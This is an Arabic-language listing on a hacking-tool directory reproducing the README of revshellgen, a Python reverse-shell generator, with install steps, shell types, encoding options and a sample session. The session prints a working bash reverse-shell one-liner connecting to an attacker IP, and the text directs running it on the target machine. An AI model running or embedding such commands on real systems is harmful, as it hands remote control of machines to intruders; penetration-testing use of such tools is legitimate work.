Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
revshellgen — مولد شل عكسي مكتوب بلغة بايثون 3. | Kitploit
أدوات/GitHubGitHub/t0thkr1s/revshellgen
توليد الحمولةالاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرتوليد شيفرة القشرةتطوير الحمولات
GitHubt0thkr1s/revshellgen

revshellgen

مولد شل عكسي مكتوب بلغة بايثون 3.

عرض المستودع
5659413منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

🚀 RevShellGen

مولّد الصدفة العكسية

Python License Stars

CI Tests PyPI

أتمتة إنشاء الصدفات العكسية بأسلوب أنيق
أنشئ، شفّر، واستقبل الصدفات العكسية بلا عناء


الميزات • التثبيت • الاستخدام • أنواع الصدفات • المساهمة

📖 حول الأداة

RevShellGen هي أداة سطر أوامر قوية تُبسّط عملية إنشاء أوامر الصدفة العكسية. لا مزيد من البحث عن الصيغ، لا مزيد من التشفير اليدوي، لا مزيد من صداع الإعدادات. هذه الأداة تتولى كل ذلك بواجهة بديهية.

🎯 الميزات الرئيسية

  • 🖥️ واجهة CLI تفاعلية — واجهة سهلة تعمل بالقوائم
  • 🔄 تشفير تلقائي — دعم تشفير URL و Base64
  • 📋 تكامل مع الحافظة — نسخ الأوامر المُنشأة تلقائيًا
  • 🌐 كشف الشبكة — اكتشاف عنوان IP تلقائيًا
  • 🎨 أنواع متعددة من الصدفات — Bash، Python، Netcat، PowerShell، وغيرها
  • 🔊 مستمع مدمج — إعداد مستمع netcat/ncat تلقائي
  • 🍎 متعدد المنصات — دعم كامل لنظامي Linux و macOS
  • 📚 دليل ترقية الصدفات إلى TTY — إرشادات شاملة لترقية الصدفات

🚀 بداية سريعة

الخيار 1: التثبيت من PyPI

root@kitploit:~
# التثبيت من PyPI
pip install revshellgen

# تشغيل الأداة
revshellgen

الخيار 2: التثبيت من المصدر

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# تثبيت التبعيات
pip3 install -r requirements.txt

# تشغيل الأداة
python3 revshellgen.py  # أو python3 revshellgen_cli.py

📦 التثبيت

المتطلبات الأساسية

  • Python 3.6 أو أحدث
  • pip (مدير حزم Python)

التبعيات

يتطلب RevShellGen حزم Python التالية:

الحزمةالغرض
pyperclipعمليات الحافظة
coloramaألوان الطرفية
readcharإدخال المفاتيح التفاعلي
netifacesكشف واجهات الشبكة

طرق التثبيت

الطريقة 1: استخدام requirements.txt (الأبسط)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
الطريقة 2: استخدام setup.py (التقليدية)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
الطريقة 3: بيئة افتراضية (موصى بها للعزلة)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # في Windows: venv\Scripts\activate
pip3 install -r requirements.txt
الطريقة 4: التثبيت يدويًا
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
الطريقة 5: التثبيت للمستخدم (لا يتطلب sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

ملاحظات حسب المنصة

🐧 Linux

root@kitploit:~
# قد تحتاج إلى تثبيت python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# ثبّت ncat لدعم أفضل للمستمع
brew install nmap  # يتضمن ncat

💻 الاستخدام

سير العمل الأساسي

  1. ابدأ تشغيل الأداة

    root@kitploit:~
    python3 revshellgen.py
    
  2. اضبط الصدفة العكسية

    • اختر عنوان IP الخاص بك (يُكتشف تلقائيًا)
    • اختر منفذًا (مثل 4444، 9001)
    • حدد نوع الصدفة (bash، python، إلخ.)
    • اختر التشفير (بدون، URL، Base64)
  3. يُنسخ الأمر المُنشأ تلقائيًا إلى الحافظة

  4. ابدأ تشغيل المستمع (تلقائي)

  5. نفّذ الأمر على الجهاز الهدف

📸 لقطات شاشة


اختيار الصدفة

توليد الأمر

🐚 الصدفات المدعومة

نوع الصدفةالوصفالمنصة
Bashصدفة عكسية عبر TCP باستخدام BashLinux/Unix
Pythonصدفة عكسية مبنية على Pythonمتعدد المنصات
Netcatصدفة عكسية باستخدام nc التقليديةLinux/Unix
Netcat mkfifoNetcat مع أنبوب مسمىLinux/Unix
Perlصدفة عكسية مبنية على Perlمتعدد المنصات
PHPصدفة عكسية باستخدام PHPمتعدد المنصات
Rubyصدفة عكسية مبنية على Rubyمتعدد المنصات
Javaصدفة عكسية باستخدام Javaمتعدد المنصات
AWKصدفة عكسية باستخدام AWKLinux/Unix
Socatصدفة عكسية عبر SocatLinux/Unix
Socat TTYSocat مع TTY كاملLinux/Unix
Telnetصدفة عكسية باستخدام TelnetLinux/Unix
PowerShellWindows PowerShellWindows

🔧 الميزات المتقدمة

ترقية الصدفة إلى TTY

يتضمن RevShellGen الآن إرشادات شاملة لترقية الصدفة إلى TTY. بعد استقبال الصدفة، توفر الأداة:

  • طرق خطوة بخطوة لفتح PTY
  • كشف حجم الطرفية وتهيئتها
  • تقنيات ترقية متعددة تناسب بيئات مختلفة
  • نصائح لحل المشكلات الشائعة
  • أوامر مرجعية سريعة

خيارات التشفير

  • بدون — إخراج الأمر الخام
  • تشفير URL — لاستغلال تطبيقات الويب
  • Base64 — لإخفاء الأوامر

خيارات المستمع

تكتشف الأداة تلقائيًا وتستخدم النوع المناسب من netcat:

  • ncat (المفضل، من حزمة nmap)
  • nc (netcat التقليدي)
  • دعم صيغة nc الخاصة بنظام macOS

📝 مثال لجلسة

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ اختيار IP ] ----------
[ x ] 192.168.1.10 على eth0
[   ] 10.0.0.5 على tun0
[   ] إدخال يدوي

---------- [ تحديد المنفذ ] ----------
[ # ] أدخل رقم المنفذ : 4444

---------- [ اختيار الأمر ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ أمر الصدفة العكسية ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] تم نسخ الأمر إلى الحافظة!
[ + ] بدأ تشغيل المستمع على المنفذ 4444...

🤝 المساهمة

المساهمات مرحّب بها! لا تتردد في تقديم طلب سحب (Pull Request). بالنسبة للتغييرات الكبيرة، يرجى فتح مشكلة (Issue) أولاً لمناقشة ما ترغب في تغييره.

إعداد بيئة التطوير

root@kitploit:~
# استنساخ نسختك الفرعية
git clone https://github.com/اسم_المستخدم/revshellgen
cd revshellgen

# أنشئ فرعًا
git checkout -b feature/اسم_الميزة

# قم بإجراء التغييرات ثم الالتزام
git add .
git commit -m "إضافة ميزة جديدة"

# ادفع إلى نسختك الفرعية
git push origin feature/اسم_الميزة

# أنشئ طلب سحب

🐛 المشكلات والدعم

وجدت خطأ أو لديك اقتراح؟ يرجى فتح مشكلة على GitHub.

📜 الترخيص

هذا المشروع مرخص بموجب رخصة GNU العامة الإصدار 3.0 — راجع ملف الترخيص للتفاصيل.

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة لاختبارات الاختراق المصرح بها والأغراض التعليمية فقط.

استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها غير قانوني. يتحمل المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. يخلو المطورون من أي مسؤولية ولا يتحملون أي مسؤولية عن أي استخدام خاطئ أو ضرر ناتج عن هذا البرنامج.

🙏 الشكر والتقدير

  • PayloadsAllTheThings — مراجع الصدفات العكسية
  • ropnop — تقنيات ترقية TTY
  • PentestMonkey — ورقة غش الصدفات العكسية
  • جميع المساهمين والمستخدمين لهذه الأداة

صُنع بحب ❤️ بواسطة t0thkr1s
قم بوضع نجمة ⭐ على هذا المستودع إذا وجدته مفيدًا!
تنزيل الأداة